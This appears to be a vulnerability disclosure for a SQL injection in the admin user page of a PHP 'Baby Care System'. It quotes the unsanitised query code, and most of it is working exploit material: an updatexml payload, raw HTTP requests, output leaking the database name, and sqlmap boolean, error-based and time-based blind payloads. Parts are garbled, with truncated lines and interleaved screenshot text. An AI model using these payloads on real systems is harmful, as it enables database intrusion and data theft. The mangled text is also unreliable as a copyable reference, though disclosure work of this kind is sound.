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46 lines (34 sloc) | 2.21 KB ••••
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Body Care System has SQL injection vulnerability

vendor: https://www.sourcecodester.com/php/14622/baby-care-system-phpmysqli-full-source-code.html

Vulnerability file: /BabyCare/admin/uesrs.php&action=type&userrole=User&userid=

```
}
}elseif($action == 'type') {
    $userrole = $_GET['userrole'];

    $querydisplay = "UPDATE tb_user SET type='$userrole' WHERE id = '$userid'";
    $updated_rows = $db->update($querydisplay);

if($updated_rows) {
    echo "<script>window.location='admin.php?id=users'; </script>";
}
```

Vulnerability location: /BabyCare/admin.php? id=users&action=type&userrole=User&userid=1 //uesrid is Injection point

[+]Payload: /BabyCare/admin.php? id=users&action=type&userrole=User&userid=1%27%20and%20updatexml(1,concat(0x7e, (select%20database()),0x7e),2)--+ //userid is Injection point

GET /BabyCare/admin.php?id=users&action=type&userrole=User&userid=1%27%20and%20updat
Host: 192.168.1.19
Cache-Control: max-age=0

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.9
  Cookie: PHPSESSID=h48mjnelp4g093582112k3g5ne
  Connection: close
/BabyCare/admin.php?id=users&action=type&u
serrole=User&userid=1%27%20and%20updatexml
                                                               href="admin.php?id=posts">Posts<</pre>
(1,concat(0x7e,(select%20database()),0x7e)
,2)--+ HTTP/1.1
                                                               /a><br/>
Host: 192.168.1.19
Cache-Control: max-age=0
                                                                                                   Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0;
win64; x64) AppleWebKit/537.36 (KHTML,
                                                               </div><!--/.nav-collapse -->
like Gecko) Chrome/99.0.4844.84
                                                                                          </div>
Safari/537.36
                                                                                    </div>
Accept:
text/html,application/xhtml+xml,application
                                                               XPATH syntax error:
/xml;q=0.9,image/avif,image/webp,image/apn
                                                                ~sourcecodester_babycare~'47
g,*/*;q=0.8,application/signed-exchange;v=
  Parameter: userid (GET)
       Type: boolean-based blind
       Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY cla
       Payload: id=users&action=type&userrole=User&userid=1' RLIKE (SELECT (CASE WHEN (
       Type: error-based
       Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
       Payload: id=users&action=type&userrole=User&userid=1' AND EXTRACTVALUE(3489,CONC
       Type: time-based blind
       Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
       Payload: id=users&action=type&userrole=User&userid=1' AND (SELECT 1342 FROM (SEL
  meter. dserve (GEL)*
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=users&action=type&userrole=User&userid=1' RLIKE (SELECT (CASE WHEN (4612=4612) THEN 1 ELSE 0x28 END))-- Wlmz
  Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: id=users&action=type&userrole=User&userid=1' AND EXTRACTVALUE(3489, CONCAT(0x5c, 0x7170767671, (SELECT (ELT(3489=3489, 1))), 0x71787a6271)) → THEV
   Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=users&action=type&userrole=User&userid=1'AND (SELECT 1342 FROM (SELECT(SLEEP(5)))LPbX)-- UTgs
```

Upgrade-Insecure-Requests: 1